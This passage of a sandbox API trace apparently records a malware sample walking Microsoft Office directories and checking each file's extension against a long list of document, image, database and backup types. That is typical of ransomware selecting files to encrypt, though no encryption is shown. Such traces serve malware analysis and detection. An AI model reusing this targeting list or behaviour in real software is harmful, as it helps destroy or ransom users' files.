	[0250.345] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1
	[0253.902] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0253.903] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41a0060 | out: hHeap=0x4a0000) returned 1
	[0253.903] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1
	[0253.903] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0253.903] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0253.903] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1
	[0253.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0253.936] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.936] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0253.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0253.962] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.962] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0253.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2610
	[0253.963] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0253.963] FindNextFileW (in: hFindFile=0x41b2610, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1
	[0253.963] FindClose (in: hFindFile=0x41b2610 | out: hFindFile=0x41b2610) returned 1
	[0253.963] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42a9c90 | out: hHeap=0x4a0000) returned 1
	[0253.963] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
	[0253.963] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0253.963] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4299c88 | out: hHeap=0x4a0000) returned 1
	[0253.963] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0253.963] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0253.963] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0253.963] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0253.963] lstrlenW (lpString="DRILLDWN.DLL") returned 12
	[0253.963] lstrlenW (lpString=".1cd") returned 4
	[0253.963] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0253.963] lstrlenW (lpString=".3ds") returned 4
	[0253.964] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1
	[0253.964] lstrlenW (lpString=".3fr") returned 4
	[0253.964] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1
	[0253.964] lstrlenW (lpString=".3g2") returned 4
	[0253.964] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1
	[0253.964] lstrlenW (lpString=".3gp") returned 4
	[0253.964] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1
	[0253.964] lstrlenW (lpString=".7z") returned 3
	[0253.964] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0253.964] lstrlenW (lpString=".accda") returned 6
	[0253.964] lstrcmpiW (lpString1=".accda", lpString2="WN.DLL") returned -1
	[0253.964] lstrlenW (lpString=".accdb") returned 6
	[0253.964] lstrcmpiW (lpString1=".accdb", lpString2="WN.DLL") returned -1
	[0253.964] lstrlenW (lpString=".accdc") returned 6
	[0253.964] lstrcmpiW (lpString1=".accdc", lpString2="WN.DLL") returned -1
	[0253.964] lstrlenW (lpString=".accde") returned 6
	[0253.964] lstrcmpiW (lpString1=".accde", lpString2="WN.DLL") returned -1
	[0253.964] lstrlenW (lpString=".accdt") returned 6
	[0253.964] lstrcmpiW (lpString1=".accdt", lpString2="WN.DLL") returned -1
	[0253.964] lstrlenW (lpString=".accdw") returned 6
	[0253.964] lstrcmpiW (lpString1=".accdw", lpString2="WN.DLL") returned -1
	[0253.964] lstrlenW (lpString=".adb") returned 4
	[0253.964] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1
	[0253.964] lstrlenW (lpString=".adp") returned 4
	[0253.964] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1
	[0253.965] lstrlenW (lpString=".ai") returned 3
	[0253.965] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1
	[0253.965] lstrlenW (lpString=".ai3") returned 4
	[0253.965] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1
	[0253.965] lstrlenW (lpString=".ai4") returned 4
	[0253.965] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1
	[0253.965] lstrlenW (lpString=".ai5") returned 4
	[0253.965] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1
	[0253.965] lstrlenW (lpString=".ai6") returned 4
	[0253.965] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1
	[0253.965] lstrlenW (lpString=".ai7") returned 4
	[0253.965] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1
	[0253.965] lstrlenW (lpString=".ai8") returned 4
	[0253.965] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1
	[0253.965] lstrlenW (lpString=".anim") returned 5
	[0253.965] lstrcmpiW (lpString1=".anim", lpString2="N.DLL") returned -1
	[0253.965] lstrlenW (lpString=".arw") returned 4
	[0253.965] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1
	[0253.965] lstrlenW (lpString=".as") returned 3
	[0253.965] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1
	[0253.965] lstrlenW (lpString=".asa") returned 4
	[0253.966] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".asc") returned 4
	[0253.966] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".ascx") returned 5
	[0253.966] lstrcmpiW (lpString1=".ascx", lpString2="N.DLL") returned -1
	[0253.966] lstrlenW (lpString=".asm") returned 4
	[0253.966] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".asmx") returned 5
	[0253.966] lstrcmpiW (lpString1=".asmx", lpString2="N.DLL") returned -1
	[0253.966] lstrlenW (lpString=".asp") returned 4
	[0253.966] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".aspx") returned 5
	[0253.966] lstrcmpiW (lpString1=".aspx", lpString2="N.DLL") returned -1
	[0253.966] lstrlenW (lpString=".asr") returned 4
	[0253.966] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".asx") returned 4
	[0253.966] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".avi") returned 4
	[0253.966] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".avs") returned 4
	[0253.966] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".backup") returned 7
	[0253.966] lstrcmpiW (lpString1=".backup", lpString2="DWN.DLL") returned -1
	[0253.966] lstrlenW (lpString=".bak") returned 4
	[0253.966] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".bay") returned 4
	[0253.966] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".bd") returned 3
	[0253.966] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1
	[0253.966] lstrlenW (lpString=".bin") returned 4
	[0253.966] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1
	[0253.966] lstrlenW (lpString=".bmp") returned 4
	[0253.967] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".bz2") returned 4
	[0253.967] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".c") returned 2
	[0253.967] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1
	[0253.967] lstrlenW (lpString=".cdr") returned 4
	[0253.967] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".cer") returned 4
	[0253.967] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".cf") returned 3
	[0253.967] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1
	[0253.967] lstrlenW (lpString=".cfc") returned 4
	[0253.967] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".cfm") returned 4
	[0253.967] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".cfml") returned 5
	[0253.967] lstrcmpiW (lpString1=".cfml", lpString2="N.DLL") returned -1
	[0253.967] lstrlenW (lpString=".cfu") returned 4
	[0253.967] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".chm") returned 4
	[0253.967] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".cin") returned 4
	[0253.967] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".class") returned 6
	[0253.967] lstrcmpiW (lpString1=".class", lpString2="WN.DLL") returned -1
	[0253.967] lstrlenW (lpString=".clx") returned 4
	[0253.967] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".config") returned 7
	[0253.967] lstrcmpiW (lpString1=".config", lpString2="DWN.DLL") returned -1
	[0253.967] lstrlenW (lpString=".cpp") returned 4
	[0253.967] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1
	[0253.967] lstrlenW (lpString=".cr2") returned 4
	[0253.968] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".crt") returned 4
	[0253.968] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".crw") returned 4
	[0253.968] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".cs") returned 3
	[0253.968] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1
	[0253.968] lstrlenW (lpString=".css") returned 4
	[0253.968] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".csv") returned 4
	[0253.968] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".cub") returned 4
	[0253.968] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".dae") returned 4
	[0253.968] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".dat") returned 4
	[0253.968] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".db") returned 3
	[0253.968] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1
	[0253.968] lstrlenW (lpString=".dbf") returned 4
	[0253.968] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".dbx") returned 4
	[0253.968] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".dc3") returned 4
	[0253.968] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".dcm") returned 4
	[0253.968] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".dcr") returned 4
	[0253.968] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".der") returned 4
	[0253.968] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1
	[0253.968] lstrlenW (lpString=".dib") returned 4
	[0253.969] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1
	[0253.969] lstrlenW (lpString=".dic") returned 4
	[0253.969] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1
	[0253.969] lstrlenW (lpString=".dif") returned 4
	[0253.969] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1
	[0253.969] lstrlenW (lpString=".divx") returned 5
	[0253.969] lstrcmpiW (lpString1=".divx", lpString2="N.DLL") returned -1
	[0253.969] lstrlenW (lpString=".djvu") returned 5
	[0253.969] lstrcmpiW (lpString1=".djvu", lpString2="N.DLL") returned -1
	[0253.969] lstrlenW (lpString=".dng") returned 4
	[0253.969] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1
	[0253.969] lstrlenW (lpString=".doc") returned 4
	[0253.969] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0253.969] lstrlenW (lpString=".docm") returned 5
	[0253.969] lstrcmpiW (lpString1=".docm", lpString2="N.DLL") returned -1
	[0253.969] lstrlenW (lpString=".docx") returned 5
	[0253.969] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1
	[0253.969] lstrlenW (lpString=".dot") returned 4
	[0253.969] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1
	[0253.969] lstrlenW (lpString=".dotm") returned 5
	[0253.969] lstrcmpiW (lpString1=".dotm", lpString2="N.DLL") returned -1
	[0253.969] lstrlenW (lpString=".dotx") returned 5
	[0253.969] lstrcmpiW (lpString1=".dotx", lpString2="N.DLL") returned -1
	[0253.969] lstrlenW (lpString=".dpx") returned 4
	[0253.969] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1
	[0253.969] lstrlenW (lpString=".dqy") returned 4
	[0253.969] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1
	[0253.969] lstrlenW (lpString=".dsn") returned 4
	[0253.969] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1
	[0253.969] lstrlenW (lpString=".dt") returned 3
	[0253.969] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1
	[0253.969] lstrlenW (lpString=".dtd") returned 4
	[0253.970] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".dwg") returned 4
	[0253.970] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".dwt") returned 4
	[0253.970] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".dx") returned 3
	[0253.970] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1
	[0253.970] lstrlenW (lpString=".dxf") returned 4
	[0253.970] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".edml") returned 5
	[0253.970] lstrcmpiW (lpString1=".edml", lpString2="N.DLL") returned -1
	[0253.970] lstrlenW (lpString=".efd") returned 4
	[0253.970] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".elf") returned 4
	[0253.970] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".emf") returned 4
	[0253.970] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".emz") returned 4
	[0253.970] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".epf") returned 4
	[0253.970] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".eps") returned 4
	[0253.970] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".epsf") returned 5
	[0253.970] lstrcmpiW (lpString1=".epsf", lpString2="N.DLL") returned -1
	[0253.970] lstrlenW (lpString=".epsp") returned 5
	[0253.970] lstrcmpiW (lpString1=".epsp", lpString2="N.DLL") returned -1
	[0253.970] lstrlenW (lpString=".erf") returned 4
	[0253.970] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".exr") returned 4
	[0253.970] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1
	[0253.970] lstrlenW (lpString=".f4v") returned 4
	[0253.971] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".fido") returned 5
	[0253.971] lstrcmpiW (lpString1=".fido", lpString2="N.DLL") returned -1
	[0253.971] lstrlenW (lpString=".flm") returned 4
	[0253.971] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".flv") returned 4
	[0253.971] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".frm") returned 4
	[0253.971] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".fxg") returned 4
	[0253.971] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".geo") returned 4
	[0253.971] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".gif") returned 4
	[0253.971] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".grs") returned 4
	[0253.971] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".gz") returned 3
	[0253.971] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1
	[0253.971] lstrlenW (lpString=".h") returned 2
	[0253.971] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1
	[0253.971] lstrlenW (lpString=".hdr") returned 4
	[0253.971] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".hpp") returned 4
	[0253.971] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".hta") returned 4
	[0253.971] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".htc") returned 4
	[0253.971] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".htm") returned 4
	[0253.971] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1
	[0253.971] lstrlenW (lpString=".html") returned 5
	[0253.972] lstrcmpiW (lpString1=".html", lpString2="N.DLL") returned -1
	[0253.972] lstrlenW (lpString=".icb") returned 4
	[0253.972] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".ics") returned 4
	[0253.972] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".iff") returned 4
	[0253.972] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".inc") returned 4
	[0253.972] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".indd") returned 5
	[0253.972] lstrcmpiW (lpString1=".indd", lpString2="N.DLL") returned -1
	[0253.972] lstrlenW (lpString=".ini") returned 4
	[0253.972] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".iqy") returned 4
	[0253.972] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".j2c") returned 4
	[0253.972] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".j2k") returned 4
	[0253.972] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".java") returned 5
	[0253.972] lstrcmpiW (lpString1=".java", lpString2="N.DLL") returned -1
	[0253.972] lstrlenW (lpString=".jp2") returned 4
	[0253.972] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".jpc") returned 4
	[0253.972] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".jpe") returned 4
	[0253.972] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".jpeg") returned 5
	[0253.972] lstrcmpiW (lpString1=".jpeg", lpString2="N.DLL") returned -1
	[0253.972] lstrlenW (lpString=".jpf") returned 4
	[0253.972] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1
	[0253.972] lstrlenW (lpString=".jpg") returned 4
	[0253.972] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".jpx") returned 4
	[0253.973] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".js") returned 3
	[0253.973] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1
	[0253.973] lstrlenW (lpString=".jsf") returned 4
	[0253.973] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1
	[0253.973] lstrlenW (lpString=".json") returned 5
